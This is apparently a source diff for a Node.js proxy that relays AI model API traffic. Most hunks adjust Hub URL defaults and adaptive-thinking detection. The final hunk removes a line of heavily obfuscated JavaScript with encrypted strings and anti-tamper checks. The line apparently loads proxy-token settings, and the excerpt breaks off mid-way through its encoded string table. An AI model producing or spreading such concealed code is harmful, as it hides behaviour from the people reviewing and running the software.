+ // evolver#567: default to the canonical Hub URL (config.resolveHubUrl
68
+ // https://evomap.ai, honouring the A2A_HUB_URL / EVOMAP_HUB_URL /
69
+ // EVOLVER_DEFAULT_HUB_URL precedence + https enforcement) instead of '',
70
+ // so a freshly-launched proxy is Hub-connected out of the box after
71
+ // `evolver login` rather than silently staying hub-less/offline (which
72
+ // surfaced as 503 "Hub not configured" and node_id: null over MCP).
73
+ // opts.hubUrl still overrides everything.
74
+ const { resolveHubUrl } = require('../config');
75
+ this.hubUrl = (opts.hubUrl || resolveHubUrl()).replace(/\/+$/, '');
68
76
  this.dataDir = opts.dataDir || opts.dbPath || _defaultDataDir();
69
77
  this.port = opts.port;
70
78
  this.logger = opts.logger || console;
@@ -178,6 +186,7 @@ class EvoMapProxy {
178
186
  },
179
187
  logger: this.logger,
180
188
  traceStore: this.store,
189
+ onTraceQueued: () => this.sync?.notifyNewOutbound(),
181
190
  });
182
191
 
183
192
  const routes = buildRoutes(this.store, proxyHandlers, this.taskMonitor, {
@@ -445,8 +454,8 @@ class EvoMapProxy {
445
454
  delete upstreamBody.stream;
446
455
 
447
456
  // Claude Code v2.1.150+ sends `thinking: { type: 'adaptive' }` plus
448
- // `output_config.effort` for Opus 4.7+. Keep that shape for 4.7 models:
449
- // folding it to `enabled` makes the current 4.7 endpoint reject compaction
457
+ // `output_config.effort` for Opus 4.7+. Keep that shape for those models:
458
+ // folding it to `enabled` makes current 4.7+ endpoints reject compaction
450
459
  // with: "thinking.type.enabled is not supported for this model".
451
460
  //
452
461
  // Older Bedrock-deployed 4.5/4.1 generation models only accept
@@ -461,7 +470,7 @@ class EvoMapProxy {
461
470
  // thinking entirely on those calls — fold to 'disabled'. For larger
462
471
  // max_tokens we default to max_tokens/2 (the model picks budget in
463
472
  // adaptive mode, but Bedrock 'enabled' requires the field).
464
- const modelSupportsAdaptiveThinking = /claude-(opus|sonnet|haiku)-4-7\b/.test(modelId);
473
+ const modelSupportsAdaptiveThinking = supportsAdaptiveThinking(modelId);
465
474
  if (
466
475
  !modelSupportsAdaptiveThinking
467
476
  && upstreamBody.thinking
@@ -1 +1,52 @@
1
- function _0x480c(_0x20a71f,_0xf23b56){_0x20a71f=_0x20a71f-(-0x295*-0x4+-0x1*0x97a+0x113*0x1);const _0x3f5351=_0x23df();let _0x218eaa=_0x3f5351[_0x20a71f];if(_0x480c['\x43\x69\x51\x66\x4c\x4f']===undefined){var _0x25fa34=function(_0x5ee2fe){const _0x364e5d='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x2526e7='',_0x30e0e7='',_0xc91fa8=_0x2526e7+_0x25fa34,_0x343c35=(''+function(){return-0x142+0x2572+0x1*-0x2430;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(-0x1*0x146b+-0x1f11+0x7*0x75b);for(let _0x9f03cf=0xf7e+0x4b2*-0x1+-0x4*0x2b3,_0x5dc91e,_0x246556,_0x1e8ab8=-0x223*0x1+0x9e9+-0x7c6;_0x246556=_0x5ee2fe['\x63\x68\x61\x72\x41\x74'](_0x1e8ab8++);~_0x246556&&(_0x5dc91e=_0x9f03cf%(0x1dd*-0x11+-0x1d*-0xe1+0x634)?_0x5dc91e*(-0x1fc8+-0x38b+0x515*0x7)+_0x246556:_0x246556,_0x9f03cf++%(-0x2348+-0xde*0xa+-0x4*-0xafe))?_0x2526e7+=_0x343c35||_0xc91fa8['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x1e8ab8+(-0xc8+0x16b3+-0x15e1))-(-0xbb3+0x24d2+-0x1915)!==-0x482+-0x293*-0x8+0x80b*-0x2?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x112+0x1bf2+0x1c05*-0x1&_0x5dc91e>>(-(-0x11*0x1cf+0x5*-0x7d+-0x2*-0x1099)*_0x9f03cf&-0x10c1+-0x1d34+0x2dfb*0x1)):_0x9f03cf:-0x1f59*0x1+0x6*-0x5dc+0x4281){_0x246556=_0x364e5d['\x69\x6e\x64\x65\x78\x4f\x66'](_0x246556);}for(let _0x54308c=0x8*-0x133+-0x1ed6+0x12*0x23f,_0x13e6e8=_0x2526e7['\x6c\x65\x6e\x67\x74\x68'];_0x54308c<_0x13e6e8;_0x54308c++){_0x30e0e7+='\x25'+('\x30\x30'+_0x2526e7['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x54308c)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x19b0+-0x1fc1+0x1*0x621))['\x73\x6c\x69\x63\x65'](-(0x1*0x12db+-0x114*-0xb+-0x1eb5));}return decodeURIComponent(_0x30e0e7);};const _0x1ecd1b=function(_0x36a4e3,_0x206d9f){let _0x129ebf=[],_0x4a797c=0x39d+-0x1f3e+0x283*0xb,_0x5c646d,_0x40086e='';_0x36a4e3=_0x25fa34(_0x36a4e3);let _0x2f24c4;for(_0x2f24c4=0xd23+-0x22a7+-0x1b*-0xcc;_0x2f24c4<-0x1*0x111d+-0xeb1*0x1+0x20ce;_0x2f24c4++){_0x129ebf[_0x2f24c4]=_0x2f24c4;}for(_0x2f24c4=-0x1b7c+-0x6f4*0x5+-0x1*-0x3e40;_0x2f24c4<-0x1ebc+0x221+0x1*0x1d9b;_0x2f24c4++){_0x4a797c=(_0x4a797c+_0x129ebf[_0x2f24c4]+_0x206d9f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x2f24c4%_0x206d9f['\x6c\x65\x6e\x67\x74\x68']))%(-0x2*-0x1141+0x676*-0x5+-0x134),_0x5c646d=_0x129ebf[_0x2f24c4],_0x129ebf[_0x2f24c4]=_0x129ebf[_0x4a797c],_0x129ebf[_0x4a797c]=_0x5c646d;}_0x2f24c4=-0x21f5+-0x1*0x52f+0x2724,_0x4a797c=0x25eb*0x1+-0x979+0x1*-0x1c72;for(let _0x460c77=0x15dd*0x1+-0x2*0x5c6+-0xa51;_0x460c77<_0x36a4e3['\x6c\x65\x6e\x67\x74\x68'];_0x460c77++){_0x2f24c4=(_0x2f24c4+(-0x223+0x1c23+0x25d*-0xb))%(0x2*-0x788+0x1280+-0x270),_0x4a797c=(_0x4a797c+_0x129ebf[_0x2f24c4])%(0x1*-0xa9f+0x20ca+0x152b*-0x1),_0x5c646d=_0x129ebf[_0x2f24c4],_0x129ebf[_0x2f24c4]=_0x129ebf[_0x4a797c],_0x129ebf[_0x4a797c]=_0x5c646d,_0x40086e+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x36a4e3['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x460c77)^_0x129ebf[(_0x129ebf[_0x2f24c4]+_0x129ebf[_0x4a797c])%(0x11a4*-0x2+-0xc5*-0x7+0x1ee5)]);}return _0x40086e;};_0x480c['\x49\x44\x54\x62\x5a\x4a']=_0x1ecd1b,_0x480c['\x64\x49\x6f\x78\x63\x52']={},_0x480c['\x43\x69\x51\x66\x4c\x4f']=!![];}const _0x321bef=_0x3f5351[-0x1*0x2510+-0x2*-0x1083+0x40a],_0x2e581f=_0x20a71f+_0x321bef,_0x294204=_0x480c['\x64\x49\x6f\x78\x63\x52'][_0x2e581f];if(!_0x294204){if(_0x480c['\x63\x4a\x77\x6b\x4a\x59']===undefined){const _0x51ae3d=function(_0x1ea5b3){this['\x50\x46\x62\x70\x55\x64']=_0x1ea5b3,this['\x41\x43\x76\x6e\x43\x65']=[0x362*-0x7+0x2548+-0xd99,0x37*0x65+0xa3*-0x3a+-0x7*-0x22d,0x1870+0x1*-0x2631+-0xdc1*-0x1],this['\x50\x46\x71\x78\x41\x43']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x69\x49\x46\x4a\x51\x67']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x77\x43\x65\x70\x77\x58']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x51ae3d['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x66\x45\x78\x64\x7a\x52']=function(){const _0x5ddbe6=new RegExp(this['\x69\x49\x46\x4a\x51\x67']+this['\x77\x43\x65\x70\x77\x58']),_0x504074=_0x5ddbe6['\x74\x65\x73\x74'](this['\x50\x46\x71\x78\x41\x43']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x41\x43\x76\x6e\x43\x65'][0x1661+0xc61*-0x3+0xec3]:--this['\x41\x43\x76\x6e\x43\x65'][-0x951+-0x25e7+0x4*0xbce];return this['\x43\x4b\x41\x72\x47\x4d'](_0x504074);},_0x51ae3d['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x43\x4b\x41\x72\x47\x4d']=function(_0x1c9122){if(!Boolean(~_0x1c9122))return _0x1c9122;return this['\x62\x5a\x4c\x61\x52\x46'](this['\x50\x46\x62\x70\x55\x64']);},_0x51ae3d['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x62\x5a\x4c\x61\x52\x46']=function(_0x8c852a){for(let _0x27ca15=0x1d74+-0x809+-0x156b,_0xd78af0=this['\x41\x43\x76\x6e\x43\x65']['\x6c\x65\x6e\x67\x74\x68'];_0x27ca15<_0xd78af0;_0x27ca15++){this['\x41\x43\x76\x6e\x43\x65']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0xd78af0=this['\x41\x43\x76\x6e\x43\x65']['\x6c\x65\x6e\x67\x74\x68'];}return _0x8c852a(this['\x41\x43\x76\x6e\x43\x65'][0xb*0x2dd+0x1a89+-0x3a08]);},(''+function(){return-0x16e6+0x22a+0x1*0x14bc;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(-0x2058+0x973+0x16e6)&&new _0x51ae3d(_0x480c)['\x66\x45\x78\x64\x7a\x52'](),_0x480c['\x63\x4a\x77\x6b\x4a\x59']=!![];}_0x218eaa=_0x480c['\x49\x44\x54\x62\x5a\x4a'](_0x218eaa,_0xf23b56),_0x480c['\x64\x49\x6f\x78\x63\x52'][_0x2e581f]=_0x218eaa;}else _0x218eaa=_0x294204;return _0x218eaa;}const _0x264992=_0x480c;(function(_0x1d7d4c,_0x312670){const _0x4b280a=_0x480c,_0x7c2432=_0x1d7d4c();while(!![]){try{const _0x5ab91f=-parseInt(_0x4b280a(0x21d,'\x73\x24\x57\x36'))/(0x2eb*0x9+-0x2654+0x1e*0x67)*(parseInt(_0x4b280a(0x20c,'\x4c\x32\x32\x33'))/(0x1193+-0xcd3+0x4be*-0x1))+-parseInt(_0x4b280a(0x24b,'\x29\x49\x6b\x64'))/(-0x19*0x112+-0x1*-0x1653+0x472*0x1)+parseInt(_0x4b280a(0x212,'\x52\x4d\x44\x73'))/(0xb56*-0x3+0x23e0+-0x1da)*(parseInt(_0x4b280a(0x216,'\x6a\x70\x45\x4f'))/(-0x16ba+-0x1*-0x1ebb+-0x124*0x7))+parseInt(_0x4b280a(0x231,'\x29\x5b\x43\x4e'))/(0x1c48+-0x1*0xa95+-0x11ad)*(parseInt(_0x4b280a(0x266,'\x71\x42\x47\x5b'))/(0x140*0xe+-0x112e+0x19*-0x3))+-parseInt(_0x4b280a(0x278,'\x32\x5d\x34\x63'))/(0x129*-0x17+-0x67d*0x2+0x27b1)*(parseInt(_0x4b280a(0x1ff,'\x65\x35\x35\x38'))/(-0x172*0x5+-0x29*-0x34+0x111*-0x1))+parseInt(_0x4b280a(0x222,'\x64\x61\x49\x49'))/(-0x2a9*0x5+-0x1c31+-0x2988*-0x1)*(-parseInt(_0x4b280a(0x20d,'\x47\x59\x33\x24'))/(0x1657+0x233c+-0x731*0x8))+parseInt(_0x4b280a(0x215,'\x29\x5b\x43\x4e'))/(0xd*0x208+0x7*0xd4+-0x2028);if(_0x5ab91f===_0x312670)break;else _0x7c2432['push'](_0x7c2432['shift']());}catch(_0x4f4ff2){_0x7c2432['push'](_0x7c2432['shift']());}}}(_0x23df,-0x407e7+-0x6dfdd+0xf53f8));const _0xbfd069=(function(){const _0xf8404c=_0x480c,_0x1b884e={};_0x1b884e[_0xf8404c(0x1f1,'\x73\x24\x57\x36')]=function(_0x53f692,_0x56e0e4){return _0x53f692===_0x56e0e4;},_0x1b884e[_0xf8404c(0x214,'\x5b\x6d\x76\x50')]=function(_0x559e1b,_0x39fe06){return _0x559e1b===_0x39fe06;},_0x1b884e[_0xf8404c(0x219,'\x59\x7a\x5d\x33')]=_0xf8404c(0x26c,'\x6a\x70\x45\x4f'),_0x1b884e[_0xf8404c(0x246,'\x37\x4e\x35\x49')]=function(_0x5ebb6c,_0x55d36e){return _0x5ebb6c===_0x55d36e;},_0x1b884e[_0xf8404c(0x21b,'\x51\x61\x36\x62')]=_0xf8404c(0x255,'\x71\x26\x52\x73'),_0x1b884e['\x57\x54\x62\x7a\x4f']='\x51\x57\x54\x51\x72';const _0x42b4f7=_0x1b884e;let _0x5b63aa=!![];return function(_0x50c687,_0x46ed1b){const _0x3dbcee=_0xf8404c,_0x4d1ee8={'\x58\x66\x63\x48\x62':function(_0x3dcf32,_0x25400f){return _0x3dcf32(_0x25400f);},'\x48\x46\x52\x65\x66':function(_0x53e454,_0x308ec3){const _0xadcefb=_0x480c;return _0x42b4f7[_0xadcefb(0x254,'\x64\x61\x33\x6f')](_0x53e454,_0x308ec3);},'\x4d\x48\x4c\x45\x44':function(_0x372a17,_0xd3d218){const _0x51bcb7=_0x480c;return _0x42b4f7[_0x51bcb7(0x20a,'\x23\x25\x6d\x42')](_0x372a17,_0xd3d218);},'\x43\x66\x64\x72\x50':_0x42b4f7['\x56\x43\x43\x72\x50'],'\x77\x6e\x4f\x72\x6f':_0x3dbcee(0x25c,'\x29\x5b\x43\x4e'),'\x79\x48\x6b\x6a\x68':function(_0x40ca32,_0x184a09){const _0x2f701a=_0x3dbcee;return _0x42b4f7[_0x2f701a(0x245,'\x64\x61\x33\x6f')](_0x40ca32,_0x184a09);},'\x49\x65\x54\x7a\x66':_0x42b4f7[_0x3dbcee(0x25b,'\x40\x34\x39\x57')],'\x52\x6c\x64\x77\x73':_0x42b4f7[_0x3dbcee(0x258,'\x23\x38\x39\x45')]},_0x24621f=_0x5b63aa?function(){const _0x1fa12b=_0x3dbcee;if(_0x4d1ee8[_0x1fa12b(0x1f0,'\x51\x61\x36\x62')]!==_0x1fa12b(0x263,'\x4a\x24\x52\x24')){if(_0x46ed1b){const _0x2d1267=_0x46ed1b['\x61\x70\x70\x6c\x79'](_0x50c687,arguments);return _0x46ed1b=null,_0x2d1267;}}else{const _0x24d089=_0x4d1ee8[_0x1fa12b(0x26d,'\x23\x25\x6d\x42')](_0x3c1d4a,_0x3997b9[_0x1fa12b(0x265,'\x36\x54\x23\x56')+_0x1fa12b(0x21a,'\x73\x24\x57\x36')+_0x1fa12b(0x1fc,'\x66\x62\x66\x68')]||'')[_0x1fa12b(0x205,'\x64\x61\x49\x49')]()['\x74\x6f\x4c\x6f\x77\x65\x72\x43'+'\x61\x73\x65']();return _0x4d1ee8[_0x1fa12b(0x223,'\x37\x4e\x35\x49')](_0x24d089,'\x30')||_0x4d1ee8[_0x1fa12b(0x268,'\x4f\x67\x24\x61')](_0x24d089,_0x4d1ee8[_0x1fa12b(0x272,'\x32\x5d\x34\x63')])||_0x24d089===_0x4d1ee8[_0x1fa12b(0x257,'\x40\x34\x39\x57')]||_0x4d1ee8[_0x1fa12b(0x243,'\x29\x49\x6b\x64')](_0x24d089,_0x4d1ee8[_0x1fa12b(0x22c,'\x71\x26\x52\x73')])||_0x4d1ee8[_0x1fa12b(0x238,'\x32\x5d\x34\x63')](_0x24d089,'\x6e\x6f');}}:function(){};return _0x5b63aa=![],_0x24621f;};}()),_0x509f29=_0xbfd069(this,function(){const _0x5c86b9=_0x480c,_0x59630a={};_0x59630a[_0x5c86b9(0x22b,'\x59\x7a\x5d\x33')]=_0x5c86b9(0x244,'\x4f\x67\x24\x61')+_0x5c86b9(0x1f5,'\x71\x42\x47\x5b');const _0x479dc2=_0x59630a;return _0x509f29[_0x5c86b9(0x207,'\x33\x46\x76\x70')]()[_0x5c86b9(0x235,'\x47\x59\x33\x24')](_0x479dc2[_0x5c86b9(0x247,'\x6a\x70\x45\x4f')])[_0x5c86b9(0x256,'\x6d\x6d\x47\x78')]()[_0x5c86b9(0x26b,'\x71\x42\x47\x5b')+_0x5c86b9(0x226,'\x4d\x6f\x23\x5b')](_0x509f29)[_0x5c86b9(0x200,'\x23\x38\x39\x45')](_0x479dc2[_0x5c86b9(0x1ee,'\x29\x5b\x43\x4e')]);});_0x509f29();'use strict';const {getProxyToken:_0x42d06c,getProxyUrl:_0x50f1c8}=require(_0x264992(0x230,'\x65\x35\x35\x38')+_0x264992(0x22e,'\x47\x36\x56\x6b')+'\x73');function _0x3fcb3d(_0x333fc5=process.env){const _0x3398ae=_0x264992,_0x3ac483={'\x73\x6b\x42\x73\x68':function(_0x46f48a,_0x45ec28){return _0x46f48a(_0x45ec28);},'\x69\x49\x73\x75\x42':function(_0x129051,_0x1a9d4b){return _0x129051===_0x1a9d4b;},'\x62\x67\x43\x66\x5a':_0x3398ae(0x277,'\x47\x36\x56\x6b'),'\x72\x6b\x4f\x59\x49':_0x3398ae(0x262,'\x4d\x6f\x23\x5b'),'\x53\x71\x5a\x52\x70':function(_0x5abb1a,_0xc11ba8){return _0x5abb1a===_0xc11ba8;},'\x68\x45\x58\x4e\x4d':_0x3398ae(0x213,'\x29\x5b\x43\x4e')},_0x254561=_0x3ac483[_0x3398ae(0x228,'\x54\x43\x79\x31')](String,_0x333fc5[_0x3398ae(0x27f,'\x24\x35\x5d\x5a')+_0x3398ae(0x24a,'\x30\x37\x26\x37')+_0x3398ae(0x242,'\x33\x46\x76\x70')]||'')[_0x3398ae(0x1fd,'\x52\x4d\x44\x73')]()['\x74\x6f\x4c\x6f\x77\x65\x72\x43'+_0x3398ae(0x211,'\x51\x61\x36\x62')]();return _0x3ac483[_0x3398ae(0x220,'\x47\x59\x33\x24')](_0x254561,'\x30')||_0x3ac483[_0x3398ae(0x20e,'\x48\x77\x56\x73')](_0x254561,_0x3ac483[_0x3398ae(0x24e,'\x4c\x32\x32\x33')])||_0x3ac483['\x69\x49\x73\x75\x42'](_0x254561,_0x3ac483[_0x3398ae(0x248,'\x52\x24\x6e\x52')])||_0x3ac483[_0x3398ae(0x24c,'\x47\x59\x33\x24')](_0x254561,_0x3ac483['\x68\x45\x58\x4e\x4d'])||_0x3ac483[_0x3398ae(0x218,'\x29\x5b\x43\x4e')](_0x254561,'\x6e\x6f');}function _0x23df(){const _0x50c46e=['\x57\x36\x4f\x68\x73\x43\x6b\x30\x62\x71','\x6b\x38\x6f\x69\x57\x36\x64\x63\x55\x6d\x6b\x7a','\x57\x37\x64\x63\x49\x63\x42\x64\x49\x53\x6b\x32\x7a\x73\x57','\x57\x36\x38\x37\x57\x36\x46\x64\x55\x75\x78\x64\x50\x68\x37\x63\x55\x6d\x6b\x38\x64\x57','\x57\x37\x6a\x69\x71\x38\x6f\x50\x57\x35\x6d\x46\x57\x50\x5a\x64\x49\x47','\x57\x36\x33\x64\x4c\x53\x6b\x57\x57\x51\x68\x64\x51\x47\x4a\x63\x4a\x6d\x6b\x57','\x57\x4f\x4f\x69\x69\x31\x48\x6b','\x75\x6d\x6b\x44\x57\x52\x5a\x64\x56\x53\x6b\x4d\x42\x63\x53\x4e\x57\x35\x78\x64\x50\x61','\x57\x35\x37\x63\x4e\x59\x33\x63\x47\x53\x6b\x6a\x57\x37\x62\x49\x57\x51\x6d','\x57\x35\x4a\x63\x4c\x49\x70\x63\x4d\x53\x6b\x43\x57\x36\x48\x49\x57\x51\x43','\x77\x43\x6f\x7a\x6a\x61','\x73\x6d\x6b\x48\x73\x53\x6b\x56','\x57\x52\x65\x4b\x57\x50\x52\x63\x4c\x71','\x57\x51\x33\x64\x50\x6d\x6b\x4e\x57\x34\x76\x30\x57\x34\x74\x64\x4b\x77\x65','\x57\x34\x50\x6f\x78\x73\x78\x64\x4f\x65\x70\x64\x53\x64\x47','\x57\x37\x56\x64\x4d\x43\x6f\x30\x75\x38\x6f\x4c','\x57\x51\x2f\x63\x55\x53\x6b\x2f\x57\x50\x76\x62\x57\x4f\x46\x63\x56\x33\x53','\x70\x53\x6f\x47\x64\x6d\x6f\x33\x6a\x66\x38\x47\x57\x37\x6d\x31','\x57\x35\x43\x49\x44\x38\x6b\x78\x64\x38\x6f\x33\x57\x50\x35\x58','\x57\x51\x2f\x63\x4a\x49\x54\x76\x57\x34\x44\x35','\x78\x5a\x76\x33\x57\x36\x42\x63\x51\x6d\x6b\x42\x66\x31\x43','\x42\x43\x6b\x53\x76\x38\x6f\x70\x71\x4e\x71\x56\x57\x52\x30','\x57\x37\x52\x64\x4c\x6d\x6b\x78\x57\x50\x4a\x64\x49\x47','\x57\x35\x62\x31\x44\x6d\x6f\x69\x57\x37\x75\x76\x57\x52\x33\x64\x4f\x57','\x69\x75\x48\x42\x6f\x53\x6f\x30','\x7a\x38\x6b\x73\x45\x38\x6b\x6b\x57\x36\x30','\x43\x53\x6f\x62\x57\x4f\x52\x63\x48\x57','\x57\x37\x2f\x64\x50\x38\x6f\x77\x78\x61','\x57\x34\x37\x64\x54\x49\x44\x71\x57\x34\x54\x54\x57\x50\x52\x64\x4c\x57','\x73\x4c\x5a\x64\x54\x30\x30','\x57\x34\x68\x64\x52\x53\x6b\x76\x57\x4f\x4e\x64\x49\x63\x5a\x63\x54\x53\x6b\x65','\x76\x43\x6b\x30\x6f\x4a\x33\x63\x4a\x43\x6b\x6f\x57\x51\x4c\x6e\x46\x38\x6f\x32\x57\x4f\x4e\x64\x4d\x47','\x66\x4b\x42\x63\x52\x32\x30\x5a\x77\x49\x34','\x66\x43\x6b\x62\x45\x67\x4a\x64\x47\x58\x72\x68\x57\x51\x30','\x57\x36\x74\x64\x52\x58\x72\x76\x57\x52\x79','\x46\x6d\x6f\x54\x73\x53\x6f\x6e\x74\x38\x6b\x47\x74\x53\x6f\x73\x6b\x43\x6f\x5a','\x70\x38\x6b\x4f\x57\x34\x37\x64\x47\x43\x6f\x76\x57\x4f\x37\x63\x4d\x57\x65','\x71\x38\x6f\x6d\x70\x4c\x75','\x43\x38\x6b\x7a\x72\x61','\x57\x37\x44\x56\x57\x34\x42\x64\x49\x49\x65\x57\x78\x53\x6b\x7a\x73\x38\x6f\x38','\x57\x37\x68\x63\x49\x64\x46\x64\x4c\x6d\x6b\x30\x42\x47','\x45\x38\x6b\x77\x44\x38\x6b\x72\x57\x37\x46\x63\x50\x5a\x44\x70','\x57\x37\x7a\x6f\x72\x43\x6f\x2f\x57\x34\x30\x5a','\x57\x36\x7a\x32\x45\x61\x33\x64\x47\x4d\x46\x64\x49\x47\x57','\x71\x38\x6f\x72\x70\x66\x33\x64\x4c\x47','\x6f\x53\x6b\x4d\x66\x53\x6b\x73','\x69\x33\x46\x63\x47\x65\x4b\x65\x44\x57','\x45\x38\x6b\x38\x42\x6d\x6f\x72\x70\x31\x6d\x6a\x57\x35\x30','\x6c\x6d\x6f\x61\x74\x71','\x72\x65\x50\x7a\x6e\x47\x54\x4b\x57\x51\x52\x63\x56\x57','\x73\x31\x75\x5a\x76\x43\x6b\x71','\x65\x43\x6b\x76\x6b\x53\x6b\x52\x7a\x43\x6b\x76\x73\x43\x6f\x71','\x73\x30\x31\x35\x73\x66\x78\x64\x4e\x75\x71','\x57\x36\x74\x64\x53\x75\x34\x69\x57\x52\x62\x31\x57\x35\x4e\x64\x52\x47','\x57\x37\x4e\x63\x48\x38\x6f\x71\x57\x52\x4b\x48','\x57\x52\x33\x64\x53\x38\x6b\x37\x57\x36\x39\x71','\x62\x53\x6b\x67\x71\x59\x4e\x64\x4f\x4d\x71\x4a\x45\x57','\x65\x4c\x44\x41','\x62\x43\x6b\x6b\x79\x30\x56\x64\x51\x53\x6f\x33\x57\x37\x7a\x4a\x66\x57','\x57\x34\x42\x64\x52\x38\x6b\x72\x57\x4f\x4b','\x6f\x53\x6b\x6f\x44\x33\x4a\x64\x51\x71','\x57\x50\x2f\x63\x55\x6d\x6f\x67\x57\x35\x56\x63\x4b\x32\x37\x64\x4f\x38\x6b\x5a\x6e\x53\x6b\x4d\x57\x34\x69\x63\x57\x37\x79','\x57\x36\x70\x64\x4f\x71\x47\x56\x57\x34\x47\x30\x71\x53\x6b\x38\x42\x4a\x65','\x57\x36\x4e\x64\x4a\x53\x6b\x52\x57\x51\x74\x64\x55\x72\x46\x63\x47\x38\x6b\x50','\x57\x37\x56\x64\x53\x43\x6b\x4c\x57\x52\x37\x64\x4d\x57','\x57\x51\x74\x63\x51\x38\x6b\x37\x57\x34\x61\x70','\x76\x6d\x6b\x4b\x43\x6d\x6b\x31\x57\x34\x69\x62\x6e\x6d\x6b\x77','\x6b\x76\x31\x35\x6f\x38\x6f\x57','\x70\x53\x6f\x53\x79\x68\x37\x64\x4a\x71','\x6e\x6d\x6f\x46\x65\x6d\x6f\x76\x57\x51\x4c\x35\x64\x53\x6b\x52\x7a\x6d\x6f\x32\x57\x34\x5a\x64\x47\x61','\x67\x47\x48\x5a\x57\x34\x56\x63\x48\x72\x64\x64\x4e\x53\x6b\x33','\x57\x34\x37\x64\x47\x38\x6f\x57\x46\x6d\x6f\x52\x72\x53\x6f\x6f\x43\x71','\x57\x52\x5a\x63\x49\x77\x34\x5a\x57\x52\x53','\x57\x4f\x74\x63\x50\x33\x48\x6b\x57\x37\x38','\x46\x43\x6f\x4c\x74\x43\x6f\x6e\x68\x43\x6f\x35\x6c\x43\x6f\x66\x64\x6d\x6f\x36\x57\x37\x78\x63\x50\x6d\x6f\x47','\x46\x67\x6d\x42\x6c\x64\x34','\x6c\x43\x6f\x36\x6e\x76\x44\x75','\x43\x58\x6c\x64\x4a\x53\x6b\x68','\x42\x47\x58\x6b','\x57\x52\x34\x4d\x66\x33\x6a\x57\x57\x50\x2f\x64\x56\x53\x6b\x55','\x74\x4c\x64\x63\x50\x62\x74\x63\x4d\x71','\x57\x4f\x53\x63\x57\x52\x56\x63\x51\x47\x57\x6b\x72\x6d\x6b\x78','\x57\x52\x4a\x63\x52\x62\x50\x31\x57\x35\x53','\x57\x51\x64\x63\x56\x6d\x6b\x71\x57\x34\x79\x2b','\x6d\x43\x6f\x45\x6d\x4b\x50\x78','\x77\x74\x58\x35\x57\x37\x37\x63\x56\x43\x6b\x64\x66\x30\x69','\x57\x34\x6d\x41\x6b\x4c\x39\x42\x57\x51\x70\x64\x47\x53\x6b\x66','\x42\x58\x62\x44\x57\x37\x4a\x63\x4a\x6d\x6b\x2f\x70\x68\x38','\x57\x36\x54\x35\x57\x4f\x64\x63\x4e\x74\x65\x53\x41\x6d\x6b\x4d','\x57\x50\x4e\x63\x54\x38\x6f\x6a\x57\x35\x37\x63\x4d\x4d\x5a\x63\x4e\x43\x6b\x73\x63\x38\x6b\x2f\x57\x37\x71\x38','\x6a\x6d\x6f\x71\x75\x66\x56\x64\x54\x43\x6f\x36\x57\x51\x6e\x2f','\x41\x43\x6b\x7a\x79\x61\x38','\x57\x51\x48\x6e\x57\x51\x57\x52\x57\x50\x74\x63\x4c\x38\x6b\x34\x57\x51\x65\x57\x45\x59\x70\x64\x48\x43\x6b\x4b','\x57\x51\x42\x63\x50\x78\x57\x30\x57\x50\x50\x71','\x42\x43\x6f\x6c\x65\x76\x74\x64\x51\x57','\x57\x50\x6c\x63\x4e\x74\x54\x37\x57\x37\x43','\x69\x6d\x6f\x4f\x57\x35\x42\x63\x52\x38\x6b\x56','\x57\x36\x4b\x39\x57\x36\x64\x63\x56\x30\x33\x64\x48\x68\x70\x63\x4b\x6d\x6b\x4a','\x45\x49\x31\x54\x57\x37\x33\x63\x4b\x72\x56\x64\x53\x57','\x57\x4f\x74\x64\x4d\x6d\x6b\x70\x57\x34\x50\x39','\x77\x74\x58\x36\x57\x36\x52\x63\x55\x53\x6b\x6f\x66\x30\x6d','\x57\x50\x74\x63\x4a\x4b\x4b\x6f\x57\x51\x54\x33\x57\x36\x33\x64\x56\x57','\x57\x52\x30\x53\x6b\x4c\x68\x63\x4c\x73\x52\x64\x47\x61\x66\x5a\x57\x34\x6d\x76\x7a\x57','\x57\x51\x70\x63\x4a\x38\x6b\x50\x57\x50\x66\x4b','\x73\x65\x4e\x63\x49\x47','\x70\x4e\x44\x55\x68\x53\x6f\x51','\x71\x6d\x6b\x6d\x44\x53\x6f\x52\x62\x33\x38\x4b\x57\x36\x34','\x78\x38\x6b\x41\x74\x49\x56\x63\x56\x57','\x57\x37\x6d\x48\x57\x37\x5a\x64\x4f\x4a\x74\x63\x47\x48\x33\x64\x4d\x47','\x70\x32\x56\x63\x49\x77\x34\x53','\x45\x68\x61\x46\x6a\x74\x75','\x57\x4f\x78\x63\x48\x31\x6e\x55\x57\x37\x6d','\x57\x36\x30\x45\x57\x35\x50\x66\x57\x36\x75','\x6b\x38\x6f\x58\x57\x34\x42\x63\x49\x38\x6b\x41\x42\x47\x75\x32','\x57\x52\x52\x64\x56\x43\x6b\x57\x57\x35\x66\x51\x57\x35\x78\x64\x4d\x33\x71','\x66\x6d\x6f\x4a\x68\x68\x70\x64\x4f\x67\x61\x50\x42